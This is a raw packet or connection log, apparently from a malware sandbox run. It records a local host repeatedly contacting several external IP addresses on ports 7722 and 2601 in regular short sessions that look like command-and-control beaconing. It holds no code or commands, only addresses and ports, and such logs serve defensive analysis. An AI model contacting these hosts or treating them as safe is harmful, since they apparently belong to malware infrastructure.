Jan 2, 2025 08:51:56.683583975 CET	7722	52436	107.175.130.16	192.168.2.13
Jan 2, 2025 08:51:56.683640003 CET	52436	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:51:56.694812059 CET	7722	52442	107.175.130.16	192.168.2.13
Jan 2, 2025 08:51:56.717245102 CET	7722	52438	107.175.130.16	192.168.2.13
Jan 2, 2025 08:51:56.717394114 CET	52438	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:51:56.742597103 CET	7722	52442	107.175.130.16	192.168.2.13
Jan 2, 2025 08:51:57.051361084 CET	7722	52442	107.175.130.16	192.168.2.13
Jan 2, 2025 08:51:57.051429987 CET	52442	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:51:57.281172037 CET	2601	45534	45.200.149.95	192.168.2.13
Jan 2, 2025 08:51:57.281308889 CET	45534	2601	192.168.2.13	45.200.149.95
Jan 2, 2025 08:51:57.281308889 CET	45534	2601	192.168.2.13	45.200.149.95
Jan 2, 2025 08:51:58.414460897 CET	45538	2601	192.168.2.13	45.200.149.95
Jan 2, 2025 08:51:58.419322014 CET	2601	45538	45.200.149.95	192.168.2.13
Jan 2, 2025 08:51:58.419385910 CET	45538	2601	192.168.2.13	45.200.149.95
Jan 2, 2025 08:51:58.425643921 CET	45538	2601	192.168.2.13	45.200.149.95
Jan 2, 2025 08:51:58.430485010 CET	2601	45538	45.200.149.95	192.168.2.13
Jan 2, 2025 08:51:58.430579901 CET	45538	2601	192.168.2.13	45.200.149.95
Jan 2, 2025 08:51:58.435378075 CET	2601	45538	45.200.149.95	192.168.2.13
Jan 2, 2025 08:51:58.560127020 CET	52446	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:51:58.565129995 CET	7722	52446	107.175.130.16	192.168.2.13
Jan 2, 2025 08:51:58.565198898 CET	52446	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:51:58.569379091 CET	52448	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:51:58.570708036 CET	52446	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:51:58.570800066 CET	52446	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:51:58.574182034 CET	7722	52448	107.175.130.16	192.168.2.13
Jan 2, 2025 08:51:58.574237108 CET	52448	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:51:58.575454950 CET	7722	52446	107.175.130.16	192.168.2.13
Jan 2, 2025 08:51:58.582170963 CET	52448	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:51:58.582226038 CET	52448	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:51:58.586970091 CET	7722	52448	107.175.130.16	192.168.2.13
Jan 2, 2025 08:51:58.618539095 CET	7722	52446	107.175.130.16	192.168.2.13
Jan 2, 2025 08:51:58.630486012 CET	7722	52448	107.175.130.16	192.168.2.13
Jan 2, 2025 08:51:58.812916994 CET	52450	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:51:58.817867041 CET	7722	52450	107.175.130.16	192.168.2.13
Jan 2, 2025 08:51:58.817924976 CET	52450	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:51:58.824203968 CET	52450	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:51:58.824289083 CET	52450	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:51:58.828979015 CET	7722	52450	107.175.130.16	192.168.2.13
Jan 2, 2025 08:51:58.870604038 CET	7722	52450	107.175.130.16	192.168.2.13
Jan 2, 2025 08:51:58.940680981 CET	7722	52446	107.175.130.16	192.168.2.13
Jan 2, 2025 08:51:58.940740108 CET	52446	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:51:58.963764906 CET	7722	52448	107.175.130.16	192.168.2.13
Jan 2, 2025 08:51:58.964318037 CET	52448	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:51:59.197535992 CET	7722	52450	107.175.130.16	192.168.2.13
Jan 2, 2025 08:51:59.197611094 CET	52450	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:51:59.254018068 CET	2601	45538	45.200.149.95	192.168.2.13
Jan 2, 2025 08:51:59.254125118 CET	45538	2601	192.168.2.13	45.200.149.95
Jan 2, 2025 08:51:59.254125118 CET	45538	2601	192.168.2.13	45.200.149.95
Jan 2, 2025 08:51:59.264255047 CET	48202	443	192.168.2.13	185.125.190.26
Jan 2, 2025 08:52:00.332355976 CET	37574	2601	192.168.2.13	45.200.149.96
Jan 2, 2025 08:52:00.337167025 CET	2601	37574	45.200.149.96	192.168.2.13
Jan 2, 2025 08:52:00.337210894 CET	37574	2601	192.168.2.13	45.200.149.96
Jan 2, 2025 08:52:00.341240883 CET	37574	2601	192.168.2.13	45.200.149.96
Jan 2, 2025 08:52:00.346005917 CET	2601	37574	45.200.149.96	192.168.2.13
Jan 2, 2025 08:52:00.346041918 CET	37574	2601	192.168.2.13	45.200.149.96
Jan 2, 2025 08:52:00.350874901 CET	2601	37574	45.200.149.96	192.168.2.13
Jan 2, 2025 08:52:01.168209076 CET	2601	37574	45.200.149.96	192.168.2.13
Jan 2, 2025 08:52:01.168374062 CET	37574	2601	192.168.2.13	45.200.149.96
Jan 2, 2025 08:52:01.168407917 CET	37574	2601	192.168.2.13	45.200.149.96
Jan 2, 2025 08:52:02.277390957 CET	59536	2601	192.168.2.13	45.200.149.167
Jan 2, 2025 08:52:02.282232046 CET	2601	59536	45.200.149.167	192.168.2.13
Jan 2, 2025 08:52:02.282286882 CET	59536	2601	192.168.2.13	45.200.149.167
Jan 2, 2025 08:52:02.285387993 CET	59536	2601	192.168.2.13	45.200.149.167
Jan 2, 2025 08:52:02.290147066 CET	2601	59536	45.200.149.167	192.168.2.13
Jan 2, 2025 08:52:02.290185928 CET	59536	2601	192.168.2.13	45.200.149.167
Jan 2, 2025 08:52:02.295006990 CET	2601	59536	45.200.149.167	192.168.2.13
Jan 2, 2025 08:52:03.108971119 CET	2601	59536	45.200.149.167	192.168.2.13
Jan 2, 2025 08:52:03.109062910 CET	59536	2601	192.168.2.13	45.200.149.167
Jan 2, 2025 08:52:03.109062910 CET	59536	2601	192.168.2.13	45.200.149.167
Jan 2, 2025 08:52:03.601556063 CET	52456	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:03.606528044 CET	7722	52456	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:03.606592894 CET	52456	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:03.608174086 CET	52456	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:03.608238935 CET	52456	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:03.613055944 CET	7722	52456	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:03.654710054 CET	7722	52456	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:03.683101892 CET	52458	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:03.688018084 CET	7722	52458	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:03.688085079 CET	52458	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:03.728708982 CET	52458	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:03.728708982 CET	52458	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:03.733782053 CET	7722	52458	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:03.774544954 CET	7722	52458	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:03.997742891 CET	7722	52456	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:03.997811079 CET	52456	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:04.053625107 CET	7722	52458	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:04.053690910 CET	52458	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:04.183234930 CET	50404	2601	192.168.2.13	104.168.33.8
Jan 2, 2025 08:52:04.188127995 CET	2601	50404	104.168.33.8	192.168.2.13
Jan 2, 2025 08:52:04.188203096 CET	50404	2601	192.168.2.13	104.168.33.8
Jan 2, 2025 08:52:04.190587997 CET	50404	2601	192.168.2.13	104.168.33.8
Jan 2, 2025 08:52:04.195400000 CET	2601	50404	104.168.33.8	192.168.2.13
Jan 2, 2025 08:52:04.195518970 CET	50404	2601	192.168.2.13	104.168.33.8
Jan 2, 2025 08:52:04.200381041 CET	2601	50404	104.168.33.8	192.168.2.13
Jan 2, 2025 08:52:04.720447063 CET	2601	50404	104.168.33.8	192.168.2.13
Jan 2, 2025 08:52:04.720582008 CET	50404	2601	192.168.2.13	104.168.33.8
Jan 2, 2025 08:52:04.720582008 CET	50404	2601	192.168.2.13	104.168.33.8
Jan 2, 2025 08:52:05.786176920 CET	53070	2601	192.168.2.13	23.94.37.42
Jan 2, 2025 08:52:05.791244030 CET	2601	53070	23.94.37.42	192.168.2.13
Jan 2, 2025 08:52:05.791295052 CET	53070	2601	192.168.2.13	23.94.37.42
Jan 2, 2025 08:52:05.797075033 CET	53070	2601	192.168.2.13	23.94.37.42
Jan 2, 2025 08:52:05.801856995 CET	2601	53070	23.94.37.42	192.168.2.13
Jan 2, 2025 08:52:05.801903963 CET	53070	2601	192.168.2.13	23.94.37.42
Jan 2, 2025 08:52:05.806715965 CET	2601	53070	23.94.37.42	192.168.2.13
Jan 2, 2025 08:52:06.312521935 CET	2601	53070	23.94.37.42	192.168.2.13
Jan 2, 2025 08:52:06.312575102 CET	53070	2601	192.168.2.13	23.94.37.42
Jan 2, 2025 08:52:06.312608957 CET	53070	2601	192.168.2.13	23.94.37.42
Jan 2, 2025 08:52:07.369209051 CET	37586	2601	192.168.2.13	45.200.149.96
Jan 2, 2025 08:52:07.374047041 CET	2601	37586	45.200.149.96	192.168.2.13
Jan 2, 2025 08:52:07.374197006 CET	37586	2601	192.168.2.13	45.200.149.96
Jan 2, 2025 08:52:07.375181913 CET	37586	2601	192.168.2.13	45.200.149.96
Jan 2, 2025 08:52:07.380004883 CET	2601	37586	45.200.149.96	192.168.2.13
Jan 2, 2025 08:52:07.380115986 CET	37586	2601	192.168.2.13	45.200.149.96
Jan 2, 2025 08:52:07.384907961 CET	2601	37586	45.200.149.96	192.168.2.13
Jan 2, 2025 08:52:08.177825928 CET	2601	37586	45.200.149.96	192.168.2.13
Jan 2, 2025 08:52:08.177903891 CET	37586	2601	192.168.2.13	45.200.149.96
Jan 2, 2025 08:52:08.177954912 CET	37586	2601	192.168.2.13	45.200.149.96
Jan 2, 2025 08:52:08.676681042 CET	52466	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:08.681672096 CET	7722	52466	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:08.681742907 CET	52466	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:08.685789108 CET	52466	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:08.685851097 CET	52466	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:08.690644026 CET	7722	52466	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:08.705502033 CET	52468	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:08.710377932 CET	7722	52468	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:08.710426092 CET	52468	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:08.738452911 CET	7722	52466	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:08.764324903 CET	52468	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:08.764410973 CET	52468	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:08.769193888 CET	7722	52468	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:08.814666033 CET	7722	52468	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:09.046118021 CET	7722	52466	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:09.046184063 CET	52466	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:09.079247952 CET	7722	52468	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:09.079319000 CET	52468	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:09.240485907 CET	55144	2601	192.168.2.13	23.94.242.130
Jan 2, 2025 08:52:09.245352983 CET	2601	55144	23.94.242.130	192.168.2.13
Jan 2, 2025 08:52:09.245404005 CET	55144	2601	192.168.2.13	23.94.242.130
Jan 2, 2025 08:52:09.245991945 CET	55144	2601	192.168.2.13	23.94.242.130
Jan 2, 2025 08:52:09.250785112 CET	2601	55144	23.94.242.130	192.168.2.13
Jan 2, 2025 08:52:09.250834942 CET	55144	2601	192.168.2.13	23.94.242.130
Jan 2, 2025 08:52:09.255656958 CET	2601	55144	23.94.242.130	192.168.2.13
Jan 2, 2025 08:52:09.913269043 CET	2601	55144	23.94.242.130	192.168.2.13
Jan 2, 2025 08:52:09.913326979 CET	55144	2601	192.168.2.13	23.94.242.130
Jan 2, 2025 08:52:09.913373947 CET	55144	2601	192.168.2.13	23.94.242.130
Jan 2, 2025 08:52:10.965945005 CET	50416	2601	192.168.2.13	104.168.33.8
Jan 2, 2025 08:52:10.970714092 CET	2601	50416	104.168.33.8	192.168.2.13
Jan 2, 2025 08:52:10.970767975 CET	50416	2601	192.168.2.13	104.168.33.8
Jan 2, 2025 08:52:10.971611023 CET	50416	2601	192.168.2.13	104.168.33.8
Jan 2, 2025 08:52:10.976403952 CET	2601	50416	104.168.33.8	192.168.2.13
Jan 2, 2025 08:52:10.976455927 CET	50416	2601	192.168.2.13	104.168.33.8
Jan 2, 2025 08:52:10.981232882 CET	2601	50416	104.168.33.8	192.168.2.13
Jan 2, 2025 08:52:11.496489048 CET	2601	50416	104.168.33.8	192.168.2.13
Jan 2, 2025 08:52:11.496556044 CET	50416	2601	192.168.2.13	104.168.33.8
Jan 2, 2025 08:52:11.496603012 CET	50416	2601	192.168.2.13	104.168.33.8
Jan 2, 2025 08:52:12.546089888 CET	45568	2601	192.168.2.13	45.200.149.95
Jan 2, 2025 08:52:12.550954103 CET	2601	45568	45.200.149.95	192.168.2.13
Jan 2, 2025 08:52:12.551021099 CET	45568	2601	192.168.2.13	45.200.149.95
Jan 2, 2025 08:52:12.551553965 CET	45568	2601	192.168.2.13	45.200.149.95
Jan 2, 2025 08:52:12.556330919 CET	2601	45568	45.200.149.95	192.168.2.13
Jan 2, 2025 08:52:12.556391954 CET	45568	2601	192.168.2.13	45.200.149.95
Jan 2, 2025 08:52:12.561197042 CET	2601	45568	45.200.149.95	192.168.2.13
Jan 2, 2025 08:52:13.359853983 CET	2601	45568	45.200.149.95	192.168.2.13
Jan 2, 2025 08:52:13.359926939 CET	45568	2601	192.168.2.13	45.200.149.95
Jan 2, 2025 08:52:13.359968901 CET	45568	2601	192.168.2.13	45.200.149.95
Jan 2, 2025 08:52:13.691519022 CET	52476	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:13.696381092 CET	7722	52476	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:13.696444035 CET	52476	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:13.697431087 CET	52476	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:13.697478056 CET	52476	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:13.700660944 CET	52478	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:13.702198029 CET	7722	52476	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:13.705476999 CET	7722	52478	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:13.705554962 CET	52478	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:13.706723928 CET	52478	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:13.706765890 CET	52478	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:13.711561918 CET	7722	52478	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:13.742469072 CET	7722	52476	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:13.754452944 CET	7722	52478	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:14.065285921 CET	7722	52476	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:14.065360069 CET	52476	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:14.073811054 CET	7722	52478	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:14.073882103 CET	52478	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:14.417144060 CET	45574	2601	192.168.2.13	45.200.149.95
Jan 2, 2025 08:52:14.421952963 CET	2601	45574	45.200.149.95	192.168.2.13
Jan 2, 2025 08:52:14.422025919 CET	45574	2601	192.168.2.13	45.200.149.95
Jan 2, 2025 08:52:14.422456026 CET	45574	2601	192.168.2.13	45.200.149.95
Jan 2, 2025 08:52:14.427186966 CET	2601	45574	45.200.149.95	192.168.2.13
Jan 2, 2025 08:52:14.427222967 CET	45574	2601	192.168.2.13	45.200.149.95
Jan 2, 2025 08:52:14.431993008 CET	2601	45574	45.200.149.95	192.168.2.13
Jan 2, 2025 08:52:15.245490074 CET	2601	45574	45.200.149.95	192.168.2.13
Jan 2, 2025 08:52:15.245533943 CET	45574	2601	192.168.2.13	45.200.149.95
Jan 2, 2025 08:52:15.245578051 CET	45574	2601	192.168.2.13	45.200.149.95
Jan 2, 2025 08:52:16.867952108 CET	37604	2601	192.168.2.13	45.200.149.96
Jan 2, 2025 08:52:16.872706890 CET	2601	37604	45.200.149.96	192.168.2.13
Jan 2, 2025 08:52:16.872798920 CET	37604	2601	192.168.2.13	45.200.149.96
Jan 2, 2025 08:52:16.873307943 CET	37604	2601	192.168.2.13	45.200.149.96
Jan 2, 2025 08:52:16.878081083 CET	2601	37604	45.200.149.96	192.168.2.13
Jan 2, 2025 08:52:16.878139019 CET	37604	2601	192.168.2.13	45.200.149.96
Jan 2, 2025 08:52:16.882903099 CET	2601	37604	45.200.149.96	192.168.2.13
Jan 2, 2025 08:52:17.713809013 CET	2601	37604	45.200.149.96	192.168.2.13
Jan 2, 2025 08:52:17.713865995 CET	37604	2601	192.168.2.13	45.200.149.96
Jan 2, 2025 08:52:17.713915110 CET	37604	2601	192.168.2.13	45.200.149.96
Jan 2, 2025 08:52:18.709400892 CET	52484	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:18.712609053 CET	52486	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:18.714258909 CET	7722	52484	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:18.714297056 CET	52484	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:18.715327978 CET	52484	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:18.715415955 CET	52484	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:18.717375040 CET	7722	52486	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:18.717413902 CET	52486	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:18.718796015 CET	52486	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:18.718857050 CET	52486	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:18.720107079 CET	7722	52484	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:18.723645926 CET	7722	52486	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:18.766558886 CET	7722	52484	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:18.766576052 CET	7722	52486	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:18.887172937 CET	50432	2601	192.168.2.13	104.168.33.8
Jan 2, 2025 08:52:18.891964912 CET	2601	50432	104.168.33.8	192.168.2.13
Jan 2, 2025 08:52:18.892008066 CET	50432	2601	192.168.2.13	104.168.33.8
Jan 2, 2025 08:52:18.892885923 CET	50432	2601	192.168.2.13	104.168.33.8
Jan 2, 2025 08:52:18.897665977 CET	2601	50432	104.168.33.8	192.168.2.13
Jan 2, 2025 08:52:18.897700071 CET	50432	2601	192.168.2.13	104.168.33.8
Jan 2, 2025 08:52:18.902627945 CET	2601	50432	104.168.33.8	192.168.2.13
Jan 2, 2025 08:52:19.081727982 CET	7722	52484	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:19.081785917 CET	52484	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:19.086180925 CET	7722	52486	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:19.086242914 CET	52486	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:19.402190924 CET	2601	50432	104.168.33.8	192.168.2.13
Jan 2, 2025 08:52:19.402245045 CET	50432	2601	192.168.2.13	104.168.33.8
Jan 2, 2025 08:52:19.402280092 CET	50432	2601	192.168.2.13	104.168.33.8
Jan 2, 2025 08:52:20.476838112 CET	40192	2601	192.168.2.13	45.200.149.249
Jan 2, 2025 08:52:20.481615067 CET	2601	40192	45.200.149.249	192.168.2.13
Jan 2, 2025 08:52:20.481677055 CET	40192	2601	192.168.2.13	45.200.149.249
Jan 2, 2025 08:52:20.483382940 CET	40192	2601	192.168.2.13	45.200.149.249
Jan 2, 2025 08:52:20.488147974 CET	2601	40192	45.200.149.249	192.168.2.13
Jan 2, 2025 08:52:20.488184929 CET	40192	2601	192.168.2.13	45.200.149.249
Jan 2, 2025 08:52:20.493012905 CET	2601	40192	45.200.149.249	192.168.2.13
Jan 2, 2025 08:52:21.292763948 CET	2601	40192	45.200.149.249	192.168.2.13
Jan 2, 2025 08:52:21.292840004 CET	40192	2601	192.168.2.13	45.200.149.249
Jan 2, 2025 08:52:21.292895079 CET	40192	2601	192.168.2.13	45.200.149.249
Jan 2, 2025 08:52:22.341881990 CET	37614	2601	192.168.2.13	45.200.149.96
Jan 2, 2025 08:52:22.346796989 CET	2601	37614	45.200.149.96	192.168.2.13
Jan 2, 2025 08:52:22.346859932 CET	37614	2601	192.168.2.13	45.200.149.96
Jan 2, 2025 08:52:22.347486973 CET	37614	2601	192.168.2.13	45.200.149.96
Jan 2, 2025 08:52:22.352318048 CET	2601	37614	45.200.149.96	192.168.2.13
Jan 2, 2025 08:52:22.352379084 CET	37614	2601	192.168.2.13	45.200.149.96
Jan 2, 2025 08:52:22.357182026 CET	2601	37614	45.200.149.96	192.168.2.13
Jan 2, 2025 08:52:23.158771992 CET	2601	37614	45.200.149.96	192.168.2.13
Jan 2, 2025 08:52:23.158842087 CET	37614	2601	192.168.2.13	45.200.149.96
Jan 2, 2025 08:52:23.158871889 CET	37614	2601	192.168.2.13	45.200.149.96
Jan 2, 2025 08:52:23.736742973 CET	52494	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:23.741570950 CET	7722	52494	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:23.741651058 CET	52494	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:23.744517088 CET	52494	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:23.744577885 CET	52494	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:23.749349117 CET	7722	52494	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:23.760685921 CET	52496	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:23.765516996 CET	7722	52496	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:23.765569925 CET	52496	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:23.790535927 CET	7722	52494	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:23.790993929 CET	52496	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:23.791065931 CET	52496	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:23.795872927 CET	7722	52496	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:23.842555046 CET	7722	52496	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:24.113265991 CET	7722	52494	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:24.113329887 CET	52494	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:24.138405085 CET	7722	52496	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:24.138462067 CET	52496	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:24.218225956 CET	50442	2601	192.168.2.13	104.168.33.8
Jan 2, 2025 08:52:24.223017931 CET	2601	50442	104.168.33.8	192.168.2.13
Jan 2, 2025 08:52:24.223074913 CET	50442	2601	192.168.2.13	104.168.33.8
Jan 2, 2025 08:52:24.224344015 CET	50442	2601	192.168.2.13	104.168.33.8
Jan 2, 2025 08:52:24.229129076 CET	2601	50442	104.168.33.8	192.168.2.13
Jan 2, 2025 08:52:24.229173899 CET	50442	2601	192.168.2.13	104.168.33.8
Jan 2, 2025 08:52:24.233975887 CET	2601	50442	104.168.33.8	192.168.2.13
Jan 2, 2025 08:52:24.756211042 CET	2601	50442	104.168.33.8	192.168.2.13
Jan 2, 2025 08:52:24.756270885 CET	50442	2601	192.168.2.13	104.168.33.8
Jan 2, 2025 08:52:24.756406069 CET	50442	2601	192.168.2.13	104.168.33.8
Jan 2, 2025 08:52:25.808779001 CET	50444	2601	192.168.2.13	104.168.33.8
Jan 2, 2025 08:52:25.813656092 CET	2601	50444	104.168.33.8	192.168.2.13
Jan 2, 2025 08:52:25.813715935 CET	50444	2601	192.168.2.13	104.168.33.8
Jan 2, 2025 08:52:25.814344883 CET	50444	2601	192.168.2.13	104.168.33.8
Jan 2, 2025 08:52:25.819165945 CET	2601	50444	104.168.33.8	192.168.2.13
Jan 2, 2025 08:52:25.819216013 CET	50444	2601	192.168.2.13	104.168.33.8
Jan 2, 2025 08:52:25.823987007 CET	2601	50444	104.168.33.8	192.168.2.13
Jan 2, 2025 08:52:26.334747076 CET	2601	50444	104.168.33.8	192.168.2.13
Jan 2, 2025 08:52:26.334810019 CET	50444	2601	192.168.2.13	104.168.33.8
Jan 2, 2025 08:52:26.334846973 CET	50444	2601	192.168.2.13	104.168.33.8
Jan 2, 2025 08:52:27.390110016 CET	53110	2601	192.168.2.13	23.94.37.42
Jan 2, 2025 08:52:27.395009995 CET	2601	53110	23.94.37.42	192.168.2.13
Jan 2, 2025 08:52:27.395055056 CET	53110	2601	192.168.2.13	23.94.37.42
Jan 2, 2025 08:52:27.395915031 CET	53110	2601	192.168.2.13	23.94.37.42
Jan 2, 2025 08:52:27.400738955 CET	2601	53110	23.94.37.42	192.168.2.13
Jan 2, 2025 08:52:27.400779009 CET	53110	2601	192.168.2.13	23.94.37.42
Jan 2, 2025 08:52:27.405591965 CET	2601	53110	23.94.37.42	192.168.2.13
Jan 2, 2025 08:52:27.917818069 CET	2601	53110	23.94.37.42	192.168.2.13
Jan 2, 2025 08:52:27.917872906 CET	53110	2601	192.168.2.13	23.94.37.42
Jan 2, 2025 08:52:27.917908907 CET	53110	2601	192.168.2.13	23.94.37.42
Jan 2, 2025 08:52:28.792393923 CET	52504	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:28.797451019 CET	7722	52504	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:28.797516108 CET	52504	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:28.797981024 CET	52504	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:28.798044920 CET	52504	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:28.802762985 CET	7722	52504	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:28.827049971 CET	52506	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:28.831875086 CET	7722	52506	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:28.831940889 CET	52506	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:28.846530914 CET	7722	52504	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:28.870961905 CET	52506	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:28.871073008 CET	52506	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:28.875972986 CET	7722	52506	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:28.918505907 CET	7722	52506	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:29.033277988 CET	53116	2601	192.168.2.13	23.94.37.42
Jan 2, 2025 08:52:29.038060904 CET	2601	53116	23.94.37.42	192.168.2.13
Jan 2, 2025 08:52:29.038111925 CET	53116	2601	192.168.2.13	23.94.37.42
Jan 2, 2025 08:52:29.038743973 CET	53116	2601	192.168.2.13	23.94.37.42
Jan 2, 2025 08:52:29.043476105 CET	2601	53116	23.94.37.42	192.168.2.13
Jan 2, 2025 08:52:29.043539047 CET	53116	2601	192.168.2.13	23.94.37.42
Jan 2, 2025 08:52:29.048322916 CET	2601	53116	23.94.37.42	192.168.2.13
Jan 2, 2025 08:52:29.181014061 CET	7722	52504	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:29.181075096 CET	52504	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:29.196362019 CET	7722	52506	107.175.130.16	192.168.2.13
Jan 2, 2025 08:52:29.196409941 CET	52506	7722	192.168.2.13	107.175.130.16
Jan 2, 2025 08:52:29.560703039 CET	2601	53116	23.94.37.42	192.168.2.13
Jan 2, 2025 08:52:29.560761929 CET	53116	2601	192.168.2.13	23.94.37.42
Jan 2, 2025 08:52:29.560798883 CET	53116	2601	192.168.2.13	23.94.37.42
Jan 2, 2025 08:52:30.240251064 CET	48202	443	192.168.2.13	185.125.190.26
Jan 2, 2025 08:52:30.613435984 CET	59592	2601	192.168.2.13	45.200.149.167
Jan 2, 2025 08:52:30.618330956 CET	2601	59592	45.200.149.167	192.168.2.13
Jan 2, 2025 08:52:30.618391037 CET	59592	2601	192.168.2.13	45.200.149.167
Jan 2, 2025 08:52:30.619065046 CET	59592	2601	192.168.2.13	45.200.149.167
Jan 2, 2025 08:52:30.623877048 CET	2601	59592	45.200.149.167	192.168.2.13
